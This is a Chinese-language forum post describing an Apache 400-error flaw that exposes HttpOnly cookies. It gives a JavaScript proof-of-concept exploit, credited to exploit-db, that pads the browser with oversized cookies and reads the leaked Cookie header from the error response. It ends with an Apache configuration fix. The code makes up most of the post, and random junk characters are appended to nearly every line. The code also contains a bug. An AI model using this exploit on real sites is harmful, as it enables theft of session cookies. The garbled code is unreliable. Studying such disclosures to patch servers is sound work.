很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。1 L; A3 C% x) {5 W8 L: _- y. Q
* k* M) i6 f7 h0 L# K, S `用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:# z. J4 @- A P8 P' e; {" g' |- o
; E2 w% d; H9 [. p- W
6 b; g% O% |5 L3 R// http://www.exploit-db.com/exploits/18442/0 T' F C0 ]. U) Q t, {; j
function setCookies (good) {3 G- E4 K" x7 r5 l0 A
// Construct string for cookie value
- r$ X/ ~1 c& A$ s5 s: P4 U) Lvar str = "";& k; ]) T% }8 r0 j/ }5 N
for (var i=0; i< 819; i++) {5 ^. i" C) R' w6 Y* c
str += "x";
5 l: A9 b+ Z; c2 f0 v5 u}4 P- r3 ?, C8 F- @7 O0 g
// Set cookies
/ p( V0 \- d" Mfor (i = 0; i < 10; i++) {! F1 g- a/ X) _- I: z4 e
// Expire evil cookie! Z- C2 j3 s' s0 T. }7 t: g: |3 v
if (good) {
9 Z; B5 ^; q3 q0 o4 h/ x4 b* Kvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";4 H) f/ O3 a( [( S6 k$ D( o0 H9 H, L t
}
1 P* x$ V+ K V. k// Set evil cookie
; [6 Y: W& y: B1 U0 }" H/ H: @else {# x% c* o$ }! w# r: g+ q5 _# m5 ~
var cookie = "xss"+i+"="+str+";path=/"; L) t3 Z0 ?7 o9 x
}, y8 V5 n1 s# G9 F' P' \% C
document.cookie = cookie;
2 J: X0 o2 W+ m# v% \}
# v& U" x: n. w. d4 `) Z; V} O7 _4 k) i$ l) x# Y
function makeRequest() {3 u! ?+ L; b! T, X. V2 ~
setCookies();3 v; x7 q1 k# @% c% G
function parseCookies () {
' w4 m, x& K. ?8 Z* T( i2 R& dvar cookie_dict = {};
- Q6 v1 a5 P8 O8 T1 W// Only react on 400 status
3 O7 Q$ R% A5 `! eif (xhr.readyState === 4 && xhr.status === 400) {
/ m- E" G6 t7 D5 v// Replace newlines and match <pre> content
! |* y& r; c& b. C% W( A; @var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
/ G' {. W; K; s$ ^/ e: s4 E1 Fif (content.length) {
6 I% z3 ]& V/ r d1 _1 b1 q6 X; M// Remove Cookie: prefix
# M( Q0 P% C1 [ \content = content[1].replace("Cookie: ", "");2 I8 Q5 I6 ]. Z9 O/ G
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);, i: p& D8 x5 D3 c! m: m7 R
// Add cookies to object) m/ `/ M. p" i$ _
for (var i=0; i<cookies.length; i++) {
1 i; U( w- ]6 F/ c" o( mvar s_c = cookies.split('=',2);
+ K" A8 K G5 _; wcookie_dict[s_c[0]] = s_c[1];# j1 a' i9 ?2 ^1 T0 E
}3 B$ s i& _, C4 n9 N6 f
}& l! v7 M, j. H
// Unset malicious cookies% i2 B6 } a K' P
setCookies(true);! f( O3 }* I& J3 T7 z
alert(JSON.stringify(cookie_dict));
6 Z' w8 y7 t( Y}5 M! l; W2 \) o* ]& o6 R$ b) j
}
( U; S7 p9 i. r! v// Make XHR request
8 y3 j2 z3 a6 w* }. C% hvar xhr = new XMLHttpRequest();; q, @( f u7 e% P. j
xhr.onreadystatechange = parseCookies;
@9 \- f; T# |9 C+ Mxhr.open("GET", "/", true);
! @5 s& h# D' ^/ ?! `3 I& e. t. qxhr.send(null);$ G5 ^& ?7 ^/ [- H, U+ H' ?; ^
}
( L; i* G2 s7 g, YmakeRequest();) q3 z& W5 }& U7 d
0 @- I0 ?% v( a s2 h
你就能看见华丽丽的400错误包含着cookie信息。
7 h3 T5 [, i5 S: J, l4 a' e( e+ o6 Y! z) I1 ~
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
- M1 l3 y( e: x& R; C2 q4 i) P9 M4 X0 B4 L( y9 U6 U. g, k
修复方案:
: [/ U5 I* x5 x* k6 a( i' S4 z* L8 h# E
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下' R$ M P4 U4 l Z/ O! W9 j: K( t
- D# D2 _( r) @+ m7 ]% dIn the event of a problem or error, Apachecan be configured to do one of four things,
$ l% g1 L" l9 ?/ P# S8 ?) B. W1 a! M7 R3 }9 o
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息4 ~8 x% ~' d- t& k' |2 L0 d. q/ A
2. output acustomized message输出一段信息
6 h7 T, i! M4 _5 X2 ~9 Z$ k* f8 k$ w3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
( I( t9 G& A9 \7 Z4. redirect to an external URL to handle theproblem/error转向一个外部URL" Z- G* A i/ h _3 L2 ]7 u
( P+ \# S0 ~4 s2 C9 z经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容6 A+ ~! G5 f5 K# Q* A
6 P {3 I$ j2 O, K7 u9 K; X; DApache配置:" p% t3 v2 u3 u1 X" c
! x9 f$ t6 w0 ?3 B3 |+ rErrorDocument400 " security test"
/ ^1 m' H9 p: x4 b e
- }* G5 o1 j4 x6 c M当然,升级apache到最新也可:)。4 J2 W# R0 H2 j' L
7 j# {0 Q! s) G. F3 P& C# y参考:http://httpd.apache.org/security/vulnerabilities_22.html" p% }! W/ d, i7 Q, p9 Z
0 W7 j1 E8 q! R7 w |